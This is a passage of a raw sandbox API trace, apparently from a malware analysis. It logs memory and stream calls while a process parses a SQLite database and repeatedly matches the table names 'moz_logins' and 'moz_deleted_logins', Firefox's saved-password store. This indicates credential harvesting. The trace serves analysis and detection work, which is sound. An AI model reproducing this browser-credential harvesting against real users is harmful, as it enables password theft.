dwLockType=0x0) returned 0x0 [0048.105] IStream:SetSize (This=0x76e0b0, libNewSize=0x74f980) returned 0x0 [0048.105] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x7588c8 [0048.105] LocalFree (hMem=0x74f980) returned 0x0 [0048.105] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x74f980 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x1e, cb=0x0, dwLockType=0x0) returned 0x0 [0048.105] IStream:SetSize (This=0x76e0b0, libNewSize=0x74f980) returned 0x0 [0048.105] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x758820 [0048.105] LocalFree (hMem=0x74f980) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x30, cb=0x0, dwLockType=0x0) returned 0x0 [0048.105] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8bf) returned 0x0 [0048.105] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x746b68 [0048.105] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x74f980 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e0b0, libOffset=0x31, cb=0x0, dwLockType=0x0) returned 0x0 [0048.105] IStream:SetSize (This=0x76e0b0, libNewSize=0x74f980) returned 0x0 [0048.105] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x74fa88 [0048.105] LocalFree (hMem=0x74f980) returned 0x0 [0048.105] LocalFree (hMem=0x716ef8) returned 0x0 [0048.105] IUnknown:Release (This=0x76e0b0) returned 0x0 [0048.105] lstrcmpiA (lpString1="moz_deleted_logins", lpString2="moz_logins") returned -1 [0048.105] LocalFree (hMem=0x746ad0) returned 0x0 [0048.105] LocalFree (hMem=0x7588c8) returned 0x0 [0048.105] LocalFree (hMem=0x758820) returned 0x0 [0048.105] LocalFree (hMem=0x746b68) returned 0x0 [0048.105] LocalFree (hMem=0x74fa88) returned 0x0 [0048.105] LocalFree (hMem=0x73cc70) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e060, libOffset=0x7c05, cb=0x0, dwLockType=0x0) returned 0x0 [0048.105] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e060, libOffset=0x7c05, cb=0x0, dwLockType=0x0) returned 0x0 [0048.106] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e060, libOffset=0x7c06, cb=0x0, dwLockType=0x0) returned 0x0 [0048.106] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.106] LocalAlloc (uFlags=0x40, uBytes=0x8080) returned 0x7d08c0 [0048.106] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef918 | out: ppstm=0xef918*=0x76e0b0) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e060, libOffset=0x7c07, cb=0x0, dwLockType=0x0) returned 0x0 [0048.106] IStream:SetSize (This=0x76e060, libNewSize=0x7d08c0) returned 0x0 [0048.106] IStream:Commit (This=0x76e0b0, grfCommitFlags=0x7d08c0) returned 0x0 [0048.106] LocalFree (hMem=0x7d08c0) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0048.106] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.106] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x716ef8 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0048.106] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0048.106] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0048.106] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0048.106] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0048.106] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0048.106] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.106] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x721848 [0048.106] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x74fff8 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0048.106] IStream:SetSize (This=0x76e0b0, libNewSize=0x74fff8) returned 0x0 [0048.106] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x73cc70 [0048.106] LocalFree (hMem=0x74fff8) returned 0x0 [0048.106] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.106] IStream:LockRegion (This=0x76e0b0, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0048.106] IStream:SetSize (This=0x76e0b0, libNewSize=0x758820) returned 0x0 [0048.107] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x7548d0 [0048.107] LocalFree (hMem=0x758820) returned 0x0 [0048.107] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x746ad0 [0048.107] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e0b0, libOffset=0x25, cb=0x0, dwLockType=0x0) returned 0x0 [0048.107] IStream:SetSize (This=0x76e0b0, libNewSize=0x746ad0) returned 0x0 [0048.107] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x74f980 [0048.107] LocalFree (hMem=0x746ad0) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e0b0, libOffset=0x2f, cb=0x0, dwLockType=0x0) returned 0x0 [0048.107] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8bf) returned 0x0 [0048.107] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x746ad0 [0048.107] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x74a800 [0048.107] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e0b0, libOffset=0x30, cb=0x0, dwLockType=0x0) returned 0x0 [0048.107] IStream:SetSize (This=0x76e0b0, libNewSize=0x74a800) returned 0x0 [0048.107] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x74fa20 [0048.107] LocalFree (hMem=0x74a800) returned 0x0 [0048.107] LocalFree (hMem=0x716ef8) returned 0x0 [0048.107] IUnknown:Release (This=0x76e0b0) returned 0x0 [0048.107] lstrcmpiA (lpString1="moz_logins", lpString2="moz_logins") returned 0 [0048.107] lstrcmpA (lpString1="table", lpString2="index") returned 1 [0048.107] LocalFree (hMem=0x73cc70) returned 0x0 [0048.107] LocalFree (hMem=0x7548d0) returned 0x0 [0048.107] LocalFree (hMem=0x74f980) returned 0x0 [0048.107] LocalFree (hMem=0x746ad0) returned 0x0 [0048.107] LocalFree (hMem=0x74fa20) returned 0x0 [0048.107] LocalFree (hMem=0x721848) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e060, libOffset=0x7b69, cb=0x0, dwLockType=0x0) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e060, libOffset=0x7b69, cb=0x0, dwLockType=0x0) returned 0x0 [0048.107] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e060, libOffset=0x7b6a, cb=0x0, dwLockType=0x0) returned 0x0 [0048.107] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e060, libOffset=0x7b6b, cb=0x0, dwLockType=0x0) returned 0x0 [0048.107] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.107] LocalAlloc (uFlags=0x40, uBytes=0x8080) returned 0x7d08c0 [0048.107] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef918 | out: ppstm=0xef918*=0x76e0b0) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e060, libOffset=0x7b6c, cb=0x0, dwLockType=0x0) returned 0x0 [0048.107] IStream:SetSize (This=0x76e060, libNewSize=0x7d08c0) returned 0x0 [0048.107] IStream:Commit (This=0x76e0b0, grfCommitFlags=0x7d08c0) returned 0x0 [0048.107] LocalFree (hMem=0x7d08c0) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.107] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0048.107] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.107] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x721848 [0048.107] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0048.108] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0048.108] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0048.108] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0048.108] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0048.108] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0048.108] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.108] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x73cc70 [0048.108] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x74fff8 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0048.108] IStream:SetSize (This=0x76e0b0, libNewSize=0x74fff8) returned 0x0 [0048.108] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x746ad0 [0048.108] LocalFree (hMem=0x74fff8) returned 0x0 [0048.108] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x7548d0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0048.108] IStream:SetSize (This=0x76e0b0, libNewSize=0x7548d0) returned 0x0 [0048.108] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x750820 [0048.108] LocalFree (hMem=0x7548d0) returned 0x0 [0048.108] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x746b68 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x33, cb=0x0, dwLockType=0x0) returned 0x0 [0048.108] IStream:SetSize (This=0x76e0b0, libNewSize=0x746b68) returned 0x0 [0048.108] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x74f980 [0048.108] LocalFree (hMem=0x746b68) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x3d, cb=0x0, dwLockType=0x0) returned 0x0 [0048.108] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8bf) returned 0x0 [0048.108] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x746b68 [0048.108] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x74fa20 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.108] IStream:LockRegion (This=0x76e0b0, libOffset=0x3e, cb=0x0, dwLockType=0x0) returned 0x0 [0048.108] IStream:SetSize (This=0x76e0b0, libNewSize=0x74fa20) returned 0x0 [0048.108] LocalAlloc (uFlags=0x40, uBytes=0xe3) returned 0x74da88 [0048.108] LocalFree (hMem=0x74fa20) returned 0x0 [0048.108] LocalFree (hMem=0x721848) returned 0x0 [0048.108] IUnknown:Release (This=0x76e0b0) returned 0x0 [0048.108] lstrcmpiA (lpString1="moz_logins", lpString2="moz_logins") returned 0 [0048.108] lstrcmpA (lpString1="table", lpString2="index") returned 1 [0048.108] LocalFree (hMem=0x746ad0) returned 0x0 [0048.109] LocalFree (hMem=0x750820) returned 0x0 [0048.109] LocalFree (hMem=0x74f980) returned 0x0 [0048.109] LocalFree (hMem=0x746b68) returned 0x0 [0048.109] LocalFree (hMem=0x74da88) returned 0x0 [0048.109] LocalFree (hMem=0x73cc70) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e060, libOffset=0x7ad9, cb=0x0, dwLockType=0x0) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e060, libOffset=0x7ad9, cb=0x0, dwLockType=0x0) returned 0x0 [0048.109] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e060, libOffset=0x7ada, cb=0x0, dwLockType=0x0) returned 0x0 [0048.109] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e060, libOffset=0x7adb, cb=0x0, dwLockType=0x0) returned 0x0 [0048.109] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.109] LocalAlloc (uFlags=0x40, uBytes=0x8080) returned 0x7d08c0 [0048.109] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef918 | out: ppstm=0xef918*=0x76e0b0) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e060, libOffset=0x7adc, cb=0x0, dwLockType=0x0) returned 0x0 [0048.109] IStream:SetSize (This=0x76e060, libNewSize=0x7d08c0) returned 0x0 [0048.109] IStream:Commit (This=0x76e0b0, grfCommitFlags=0x7d08c0) returned 0x0 [0048.109] LocalFree (hMem=0x7d08c0) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0048.109] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.109] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x721848 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0048.109] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0048.109] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0048.109] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0048.109] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0048.109] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0048.109] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.109] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x73cc70 [0048.109] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x74fff8 [0048.109] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.110] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.110] IStream:LockRegion (This=0x76e0b0, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0048.110] IStream:SetSize (This=0x76e0b0, libNewSize=0x74fff8) returned 0x0 [0048.110] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x746ad0 [0048.110] LocalFree (hMem=0x74fff8) returned 0x0 [0048.110] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x7548d0 [0048.110] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.110] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.110] IStream:LockRegion (This=0x76e0b0, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0048.110] IStream:SetSize (This=0x76e0b0, libNewSize=0x7548d0) returned 0x0 [0048.110] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750820 [0048.110] LocalFree (hMem=0x7548d0) returned 0x0 [0048.110] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x746b68 [0048.110] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.110] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.110] IStream:LockRegion (This=0x76e0b0, libOffset=0x2f, cb=0x0, dwLockType=0x0) returned 0x0 [0048.110] IStream:SetSize (This=0x76e0b0, libNewSize=0x746b68) returned 0x0 [0048.110] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x74f980 [0048.110] LocalFree (hMem=0x746b68) returned 0x0 [0048.110] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.110] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.110] IStream:LockRegion (This=0x76e0b0, libOffset=0x39, cb=0x0, dwLockType=0x0) returned 0x0 [0048.110] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8bf) returned 0x0 [0048.110] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x746b68 [0048.110] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fa20 [0048.110] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.110] 